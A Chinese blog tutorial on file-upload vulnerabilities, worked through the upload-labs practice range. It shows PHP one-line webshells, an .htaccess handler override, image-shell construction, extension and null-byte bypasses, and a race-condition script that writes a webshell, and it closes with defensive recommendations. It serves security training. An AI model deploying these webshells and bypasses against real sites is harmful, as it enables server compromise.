🌝博客主页:泥菩萨
💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具
这个漏洞对于初学者好挖,先找到文件上传的位置
文件上传是web网页中常见的功能之一,通常情况下恶意文件的上传,会形成漏洞
漏洞逻辑:用户通过上传点上传了恶意文件,经过服务器的校验后保存到指定位置。当用户访问已经上传成功的文件时,上传的脚本会被web应用程序解析,从而对网站造成危害
文件上传漏洞的关键点:能不能传上去?保存位置在哪?能不能运行?
1、文件上传常见点
上传头像
上传相册
上传附件
添加文章图片
前台留言资料上传
编辑器文件上传
....
例如如下编辑器上传点:
文件管理处文件上传:
前台用户发表文章处文件上传:
个人头像处文件上传:
2、客户端—JS绕过
# 环境安装
docker pull cuer/upload-labs
#启动
docker run -d -p 8081:80 cuer/upload-labs
访问http://ip:8081,选择Pass-01
- 解释型语言:脚本语言、php、python – 边解释边执行
- 编译型语言:java、go – 提前写好代码交给程序运行
所以如果是编译型语言开发出来的网站,没有文件上传漏洞,因为即使上传了脚本语言也不会被执行,不满足文件上传的第三个关键点
2.1 抓包(后缀名绕过)
查看Upload-labs(Pass-01)源码分析,发现防护策略是用js语言写出来的,也就意味着这是一个前端防护策略校验
把恶意文档后缀名改为白名单所允许的后缀名进行上传
开启抓包,把拦截到的包后缀名再改回txt
上传成功了,复制图像链接去访问一下
2.2 禁用js
F12 --> F1,勾选禁用JavaScript
意味着前端页面的所有js代码都失效了
上传txt文档
直接就传上来了
2.3 修改前端代码
删除form
标签的onsubmit
事件即可成功上传,在实际渗透中,找到对应的js事件删除即可
注意:该方法在Firefox浏览器中生效,但是在Edge、Chrome浏览器中不生效
脚本文档内容可以为:
1️⃣phpinfo
# 关于网站的信息页面,帮助我们做信息收集
<?php phpinfo();?>
2️⃣php一句话木马
(1)get方法
<?php eval(@$_GET['a']);?>
(2)post方法
<?php eval(@$_POST['a']);?>
打开火狐浏览器的hackbar插件
还可以用蚁剑进行连接
3、服务端黑名单绕过
黑名单:不允许进行上传的文件
在实际渗透中没有源代码,我们只能通过不断测试找到绕过方式
3.1 特殊可解析后缀
Upload-labs(Pass-03)分析源代码:设置了后缀名黑名单
可以直接上传txt,但是无法使用,因为只有上传一个脚本文件才能让里面的一句话木马生效
解决办法是上传其他脚本文件的后缀名,比如说:.phtml .phps .php5 .pht
,但如果上传的是.php5这种类型文件,想被网站当成Php执行的话,需要有个前提条件:即Apache的httpd.conf有如下配置代码
靶场环境未配置好,仅做上传即可,目前不能使用
AddType application/x-httpd-php .php .phtml .php5 .php5 .pht
3.2 大小写绕过
Upload-labs(Pass-06)源码分析:和上面思路一致,知识定义的黑名单数组内容增多
但是和第三关相比,少了转换为小写
直接把上传文件的后缀名改为大写即可绕过
3.3 点绕过
Upload-labs(Pass-08)源码分析:
和第6关代码相比,少了对点进行处理
抓包在后缀名后加上.
复制图像连接后访问,发现解析成功
window系统中会自动去除文件名最后的.
,因此在Windows系统中可以使用此方法绕过
Linux系统虽然不会自动去除文件名最后的.
,但是部分Linux系统搭配中间件可以实现解析
3.4 空格绕过
Upload-labs(Pass-07)源码分析:少了删除空格
抓包,在文件后缀加空格后上传
同理,window系统中会自动去除文件名最后的 空格
3.5 ::$DATA绕过
在windows中,如果文件名 + ::$DATA
会把 ::$DATA
之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名。使用它的目的就是不检查后缀名,例如:
phpinfo.php::$DATA
Upload-labs(Pass-09)源码分析:少了去除字符串::$DATA
抓包修改文件后缀
3.6 配合解析绕过
Upload-labs(Pass-10)源码分析:黑名单数组定义的非常完善,同时对后缀名的处理也一个没少
这一关的思路是它没有进行循环检测,所有检测方式只是验证了一次,所以绕过思路也很简单:在数据包中把后缀名改为:
.php. .(两个点之间有空格)
.php. ::&DATA
验证过程:首先系统发现最后有一个点,这时会把它去掉,又发现有一个空格,也会把它去掉,这时还有一个点也就是.php. 由于系统只验证一次,所以不会再去掉剩下的点,这时就可以上传成功
3.7 .htaccess文件绕过
在利用 .htaccess 文件之前,我们先来了解一下 .htaccess 规则文件
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置
.htaccess作用于此目录及其所有子目录
Upload-labs(Pass-4)源码分析:黑名单里没有过滤 .htaccess 文件
可以重写文件解析规则绕过,上传一个.htaccess,文件内容如下,意思是设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行,不符合则报错
先准备好两个文件(.htaccess 和 magedu.jpg)
<!-- .htaccess文件 -->
# 把magedu.jpg文件当成php代码解析
<FilesMatch "magedu.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
<!-- .htaccess文件 -->
<IfModule mime_module>
Sethandler application/x-httpd-php
</IfModule>
//magedu.jpg
<?php phpinfo();?>
注意:.htaccess文件不能起名字,就是 .htaccess 文件,如果将其改为1.htaccess或者其他的什么名字是不可以的,无法解析
创建.htaccess文件
上传到网页,要勾选显示隐藏文件
在继续上传magedu.jpg文件
复制图像链接进行访问
3.8 双写后缀名绕过
Upload-labs(Pass-11)源码分析:
phpinfo.pphphp
注意:phphpp不行,删除php后只剩hpp了
4、服务端白名单绕过
白名单:允许进行上传的文件
4.1 MIME类型检测绕过
Upload-labs(Pass-2)源码分析:
上传一个脚本文件,抓包改文件类型
4.2 00截断绕过
00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0为字符串的结尾,所以\0也被称为”字符串结束符“
\0 是Ascii码表中的第0个字符,英文为NULL,中文为”空字符“
需要注意的是:\0是用户的输入经过层层解析后到达系统底层的表现形式,因此用户在前端输入的时候是不能直接使用\0的,通常会使用%00或0x00
%00:在URL中%00表示ASCII码为0的字符,表示字符串的结束
0x00:按16进制读取内容,遇到ASCII为0的字符就会停止
0x00是%00解码成的16进制形式,记住就行,无需关注具体转换过程
截断原理:
# 分析1.php%00.jpg
帮助攻击者绕过前后端的检测:前端检测时认为是jpg类型,保存时.jpg被截断了所以是php类型
注意:
%00用在路径上,而不是文件名上!
不然无法解析
截断条件:
1、php版本 < 5.3.4
php -v
2、php.ini的magic_quotes_gpc为off状态
> 5.3.4版本版本实验过程
Upload-labs(Pass-12)源码分析:
上传info.png文件抓包修改http请求
修改后info.png会拼接在%00后从而帮助我们绕过
但是还是上传出错了,那是因为这个靶场的php版本过高
这个靶场是作者定义好的,我们没有办法改变,不过可以自己搭建靶场
环境:windows操作系统 + phpstudy2018
# phpsudy:帮助我们快速搭建网站所需要的原环境、数据库环境等
一定要选择2018版本
安装好后,打开选择小于5.3.4版本的
把upload源码放在网站根目录下面
打开php的配置文件
查找关键字magic_quotes_gpc,修改值为off,ctrl+s保存后需要点击一下【重启】
在upload-labs目录下新建upload文件夹
直接访问本地ip下的upload-labs即可(因为文件是上传到这个文件夹下的,没有的话就手动添加)
< 5.3.4版本实验过程
Upload-labs(Pass-11)源码分析:get方法
get方法使用%00写在url中,网站会自动解码
抓包修改请求url
上传成功后,复制图像连接访问
删除后面的随机数,因为在后端存储过程中后面的随机数被截断了
Upload-labs(Pass-12)源码分析:用的post方法
post方法%00写在请求正文中,不会做自动解码,需要手动解码
抓包修改请求正文,并对%00进行解码
解码后会生成一个空格
回到网页发现上传成功了
5、服务端内容检查绕过
图片马:在图片中写入一句话木马且不破坏图片的格式,使其能够正常打开
5.1 文件头检查
注意:下面是16进制的文件头格式
.jpg FF D8 FF E0 00 10 4A 46 49 46
.gif 47 49 46 38 39 61
.png 89 50 4E 47
.zip 50 4B 03 04
windows下16进制工具:
文件真实的内容,不会因为后缀名的改变而改变。所以网站依据文件的内容进行检测更安全
压缩包格式:
文件头50 4B 03 04
文件内容50 4B 01 02
文件结尾50 4B 05 06
图片马制作的三种方式:
1️⃣windows系统自带的文件拼接功能
copy /b dog.png + post.php dog2.png
post.php里面内容是一句话木马
在当前目录下打开命令行
通过010 Editor工具打开dog2.png,发现存在一句话木马
2️⃣取一个真实的图片,直接010 Editor在图片内容的尾部写入一句话木马
3️⃣取一个真实的脚本文件,直接010 Editor在脚本文件的头部写图片的文件码(严格意义上不算图片马)
打开脚本文件
剪切脚本文件里的内容
然后写入图片文件头格式,再粘贴脚本文件内容
Upload-labs(Pass-14)源码分析:
上传制作好的图片马dog2.png
结合靶场里的文件包含漏洞进行利用
网站的根目录有个include.php,就是实现文件包含功能的
查看include.php文件代码发现可以解析文件
图片马能执行的关键点在于网站有没有没见包含漏洞,而不是存在index.php
在图片马位置前构造 include.php?file=, 从include中加载刚上传的图片马
打开hackerbar插件,然后下滑到图片马的尾部
也可以用蚁剑进行连接
5.2 突破getimagesize及exif_imagetype
Upload-labs(Pass-15)源码分析:是用getimagesize获取文件类型,进行文件判断。此函数是获取文件类型是不是图片格式的,比如图片的长度和高度等。这个时候就不能再上传假图片了,
需要上传一张真图然后抓包,在最后添加一句话木马,也可以上传图片马
Upload-labs(Pass-16)源码分析:exif_imagetype读取一个图像的第一个字节并检查其签名
也是通过图片马绕过
5.3 二次渲染绕过
二次渲染:根据用户上传的图片,新生成一个图片,原始图片被删除,而新图片添加到数据库
# 比如一些网站根据用户上传的头像生成大中小不同尺寸的图像
Upload-labs(Pass-17)源码分析:这关比较综合
上传png图片,把新生成的图片下载下来进行保存
拿到010 editor与原始图片相比较
标注了红色底色的部分表示图片发生了渲染的部分
仿照上述步骤取 gif 经渲染后的图片和原图进行比较,这里就不做演示了
发现 gif 被渲染部分较少,推荐使用 gif 进行绕过
在 gif 没被渲染的地方,插入一句话木马,打开动图看看能否正常播放(具体插在哪个位置只能通过不断的尝试,如果图片有损坏,即使上传成功,也无法被执行)
上传到靶场,复制链接后访问
5.4 文件包含绕过
**前提:**校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马
绕过方式:
1️⃣先上传一个有木马的txt文件,因为后缀名的原因没有进行校验内容
2️⃣然后再上传一个php文件,文件内容不具备攻击特征,如下:
<?php Include("上传的txt文件路径");?>
此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举其他语言的语法:
# ASP
<!-- include file="上传的txt文件路径" -->
# jsp
<jsp:include page="上传的txt文件路径"/> or <%@include file="上传的txt文件路径"%>
6、代码逻辑(条件竞争)
条件竞争上传是一种服务端的漏洞,由于后端程序操作逻辑不合理导致
由于服务端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生,此漏洞一般发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中
Upload-labs(Pass-18)源码分析:别的关卡都是先检测后上传,而这关是先上传后检测
绕过思维:抢在服务器没删除文件之前,访问这个文件
我们可以利用burp多线程发包,然后不断在浏览器访问上传的websehll,总有一瞬间会访问成功
准备好一个php文件:
# 上传shell.php文件,文件内容为后面的一句话木马
<?php fputs(fopen('shell.php','w’),'<?php @eval($ PosT["a"])?>'”);?>
第一步:上传1.php,并用burp抓包,发送到Intruder模块
不需要暴力破解,只是想用来不停发包,所以clear所有变量,然后再加入一个空格变量,让这个数据包能够持续重放,其实是空
第二步:设置无限重放,一直上传该文件
可以看到这里的配置Payload type是Null payloads。也就是不设置payload。下方的Continue indefinitely也就是无限重放的意思
可以看到上传该文件的数据包不停地在进行重放
第三步:运行python脚本不停地访问cs.php直到成功访问到为止
代码如下:
import requests
url = "http://127.0.0.1:8036/upload/cs.php" //要访问的地址
while True:
html = requests.get(url) //不停的去访问这个url
if html.status_code == 200:
print("OK")
break
当出现OK说明访问到了该文件,那么shell.php应该也创建成功了
查看目录下已经有shell.php,直接用蚁剑连接
7、总结
文件上传漏洞安全防御
只要破坏三个关键条件中的任意一个即可
1️⃣判断文件类型
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码
2️⃣使用随机数改写文件名和文件路径
使攻击者无法访问到上传的文件
3️⃣文件上传的目录设置为不可执行
即使上传了也用不了,服务器本身不会受到影响
4️⃣使用安全设备防御